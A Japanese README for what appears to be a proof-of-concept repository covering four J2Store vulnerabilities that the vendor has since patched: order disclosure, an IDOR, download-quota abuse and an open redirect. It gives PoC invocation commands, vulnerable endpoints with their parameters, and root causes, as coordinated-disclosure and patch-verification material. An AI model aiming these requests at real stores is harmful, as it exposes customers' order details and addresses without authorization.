
J2Store CVE-2026-67358–67362 のPoC(J2Commerce セキュリティアドバイザリ 2026年8月)
com_j2store(J2Commerce J2Store)における4件の脆弱性の概念実証(PoC)資料です。Murrez によって発見され、以下のバージョンで修正されました:
| ブランチ | 修正版 |
|---|---|
| J2Store 3.x | 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
公式アドバイザリ: J2Commerce セキュリティ告知(2026-08-20)
テスト済みバージョン: Joomla 5.x(ローカルラボ)上の J2Store Pro 4.1.5。
許可されたセキュリティ研究およびパッチ検証専用です。所有していない、またはテストする明示的な許可がないシステムに対して使用しないでください。
pip install -r requirements.txt
Python 3.10+
デフォルトのラボベース URL: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
最小限の Burp/curl リプレイ:replay/
expressconfirm 注文情報の開示エンドポイント: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
アクティブなチェックアウトセッションが存在しない場合、任意の order_id によってエクスプレスチェックアウト確認ページ(明細、数量、価格、合計)が認証なしで表示されます。
根本原因: components/com_j2store/controllers/checkouts.php — expressconfirm() は所有権チェックなしでリクエスト指定の order_id を使用します。
reOrder IDORエンドポイント: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
被害者の order_id を持つ認証済みユーザーは再注文を実行できます:被害者の明細が攻撃者のカートにコピーされ、被害者の請求先/配送先住所 ID が攻撃者のセッションに保存されます。
根本原因: components/com_j2store/controllers/myprofile.php — reOrder() は CSRF とログインを検証しますが、$order->user_id は検証しません。
updateHitCount 割り当て操作エンドポイント: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
自分自身の有効な (order_id, token) ペアを持つゲストまたは顧客は、別の注文の orderdownload_id の limit_count を増加させることができます。CSRF トークンは不要です。
根本原因: components/com_j2store/controllers/myprofile.php — トークンは呼び出し元の注文に対してのみチェックされ、orderdownload_id はその注文にバインドされていません。
タスク: carts.setcurrency、carts.addItem、carts.applyCoupon、carts.applyVoucher
Base64 エンコードされた redirect / return パラメータはデコードされ、ホストの許可リストなしで $app->redirect() に渡されます。JRoute::_() は絶対的な外部 URL をブロックしません。
根本原因: components/com_j2store/controllers/carts.php
ベンダーアドバイザリ 内の Issue 1、2、3、5 — Murrez([email protected])。
J2Commerce と Joomla セキュリティストライクチームを通じた調整済み開示です。
MIT — LICENSE を参照。
| CVE | 問題 | 認証 | CVSS 4.0 | 深刻度 |
|---|
| CVE-2026-67359 | expressconfirm による認証なしの注文明細 + 合計 | なし | 8.7 | 高 |
| CVE-2026-67360 | 顧客間 reOrder IDOR(攻撃者のセッション内の被害者のカート/住所) | 低(ログイン済み) | 8.7 | 高 |
| CVE-2026-67358 | updateHitCount が別の顧客のダウンロード割り当てを消費 | 低(ゲスト注文トークン) | 5.3 | 中 |
| CVE-2026-67362 | カートタスク(setcurrency、addItem、applyCoupon、applyVoucher)におけるオープンリダイレクト | なし | 5.1 | 中 |